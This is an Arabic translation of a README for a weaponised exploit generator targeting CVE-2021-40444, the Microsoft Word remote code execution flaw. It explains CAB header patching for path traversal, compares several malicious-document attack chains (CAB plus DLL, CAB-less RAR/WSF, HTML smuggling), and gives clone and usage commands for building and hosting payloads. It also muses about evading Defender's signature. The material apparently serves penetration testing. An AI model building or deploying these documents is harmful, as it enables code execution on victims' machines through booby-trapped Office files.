
مولّد مستندات DOCX ضارة يستغل CVE-2021-40444 (ثغرة RCE في Microsoft Office Word) مع تحميل جانبي لـ DLL قائم على CAB وسلاسل هجوم RAR/WSF بدون CAB لاختبار الاختراق.
مولّد docx خبيث لاستغلال CVE-2021-40444 (تنفيذ تعليمات برمجية عن بعد في Microsoft Office Word)، يعمل مع ملفات DLL عشوائية.
على الرغم من وجود العديد من إثباتات المفهوم (PoC) على الإنترنت، قررت أن أتحدى نفسي بتسليح هذه الثغرة، لأن ما وجدته متاحًا كان يفتقر إلى معلومات قيمة تستحق المشاركة، مع الأخذ في الاعتبار أن مايكروسوفت قد أصدرت بالفعل تصحيحًا لهذه الثغرة.
حتى الآن، المصادر القيمة الوحيدة التي رأيتها لإنشاء مولّد يعمل بكامل طاقته هي:
تحدد المصادر أعلاه الكثير من المتطلبات اللازمة لإنشاء سلسلة كاملة. لتجنب تكرار الكثير من المعلومات غير الضرورية، سألخص التفاصيل ذات الصلة فقط.
هناك الكثير من المتطلبات التي يتم تجاهلها لنجاح هذا الاستغلال، مما تسبب في فشل إثباتات مفهوم جيدة، مثل ، في العمل بشكل صحيح.
ربما لم يقم أحد بنشرها صراحةً لتجنب استغلال الثغرة بشكل أكبر. لكن الآن تم تصحيحها، لذا لا ينبغي أن يسبب نشر التفاصيل الكثير من المتاعب.
وفقًا لهذه التغريدة من Will Dormann، يجب أن يكون حجم HTML على الأقل 4096 بايت من أجل تشغيل "المعاينة" داخل MS Word.
يحتاج ملف CAB إلى تصحيح بايت لتجنب أخطاء الاستخراج وتحقيق ZipSlip:
filename.inf ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart يجب زيادته بمقدار 3 (بسبب إضافة '../')CFFOLDER.cCfData CFFILE.cbFile يجب أن يكون أكبر من CFHEADER.cbCabinet بالكاملCFDATA.csum أسباب هذه القيود كثيرة، ولم أمضِ وقتًا كافيًا لفهمها جميعًا بعمق، لكن دعنا نرى الأهم:
ملاحظة 1: يكتشف Defender الآن ما إذا كان ملف CAB يحتوي على PE باستخدام قيمة _IMAGE_DOS_HEADER.e_magic كتوقيع، مما قد يمنع تضمين ملفات PE في CAB. هل يمكن تجاوز هذا التوقيع؟ لست متأكدًا، ولكن كما لاحظنا سابقًا، هذه ثغرة تم تصحيحها، لذا لا أخطط لاستثمار المزيد من الوقت في هذا الأمر. الأمر متروك للقارئ الفضولي لتطوير هذا أكثر.
ملاحظة 2: يحجب تصحيح Microsoft مخططات URI التعسفية، على ما يبدو باستخدام نهج القائمة السوداء (هذا مجرد افتراض)
سلسلة الهجوم الرئيسية المرتبطة بـ CVE-2021-40444 هي هجوم DLL الذي يتم تحميله عبر مخطط URI .cpl. لاستغلال ذلك، يحتاج المهاجم إلى إنشاء DLL مصمم خصيصًا. إذا كنت تريد اختباره، جرب نص evildll-gen الخاص بي.
كما لاحظ Max Maluin، من الممكن التفاعل مع عدة أنواع ملفات باستخدام Internet Explorer وامتداد الملف المرتبط بـ URI. على الرغم من أن هذه قد تكون طريقة جيدة لاستغلال IE، إلا أن لها حدودًا.
في الواقع، تجدر الإشارة إلى أن الطريقة المستخدمة في الاستغلال لتنزيل الملفات تعتمد على تحديثات تحكم ActiveX، ولا يمكن استخدامها لتنزيل ملفات عشوائية.
وفقًا لوثائق Microsoft، يمكن أن يشير وسم codebase إلى عدد قليل من أنواع الملفات فقط: OCX وINF وCAB.
حتى لو تمكنا من تنزيل ملف OCX أو INF مباشرة، لا يزال لا يمكننا التأكد من تنزيل الملف في الموقع الصحيح داخل النظام. باستخدام استغلال CAB، يمكن نقل ملف .inf إلى مسار معروف باستخدام اجتياز المسار، ولكن في أي حالة أخرى سيتم تخزين الملف في دليل عشوائي، مما يجعل من المستحيل تقريبًا الإشارة إليه.
حتى الآن، لم أجد طريقة لربط التنزيل والتنفيذ بدون ملف CAB.
ملاحظة: عند الحديث عن IE وحده، يمكن أن يكون التهريب عبر HTML (HTML smuggling) سيناريو محتملاً لاستغلال الثغرة.
تم الكشف عن هذه التقنية لأول مرة بواسطة Eduardo Braun على تويتر وشرحها بالتفصيل في هذه الورقة.
يرجى ملاحظة أن سلسلة الهجوم باستخدام هذه التقنية مختلفة قليلاً. يتطلب هذا الهجوم من المستخدم تنزيل ملف RAR مصمم خصيصًا، يتم الحصول عليه عن طريق ربط نص WSF صالح وملف RAR صالح. بمجرد فتحه، سيحتوي RAR على DOCX مع رابط إلى HTML، والذي بدوره سيحاول تحميل ملف RAR كنص WSF.
للتلخيص:
يمكن لأداة المولّد حاليًا إعادة إنتاج الهجمات التالية:
| الهجوم | قوالب HTML | الهدف | طريقة التسليم | طريقة التنفيذ | هل يعمل |
|---|---|---|---|---|---|
| النسخة الأصلية من الهجوم | cab-orig-* | WORD | DOCX | CAB + DLL | نعم |
| هجوم j00sean المقتصر على IE | cab-orig-j00san | IE | HTML | CAB + DLL | نعم |
| نسختي بدون DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | لا1 |
| هجوم Eduardo B. "CABless" باستخدام RAR | cabless-rar-* | WORD | RAR | WSF | نعم |
| هجوم j00sean المُعدّل + التهريب عبر HTML | cabless-smuggling-* | IE | HTML | JS/VBS | نعم2 |
1لا يتم تحميل CAB بشكل صحيح في بعض البيئات
2يحتاج المستخدم إلى النقر على "حفظ" لتنزيل الملف في IE
يمكن استخدام أداة cab_parser.py لعرض رؤوس ملف الاستغلال، لكن لا تعتبرها محللًا كاملاً. إنها عارض سريع وقذر لرؤوس CAB قمت بتطويره لفهم ما يحدث.
تم تصميم المولّد للعمل على Windows، حيث يستخدم أداة makecab. قبل الاستخدام، تأكد من تثبيت التبعيات المطلوبة:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
استخدام المولّد سهل، وعلى الرغم من اختباره مع عدد من الحمولات المختلفة وإصدارات Windows، إلا أنه ليس مضمونًا. أواجه سلوكيات مختلفة عبر إصدارات Windows المختلفة. بمجرد أن أحصل على تفاصيل أكثر للمشاركة، سأنشرها هنا.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
ملاحظة: يتم اختيار المنفذ من URL، ويتم إنشاء الاستغلال بناءً على امتداد ملف الحمولة
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t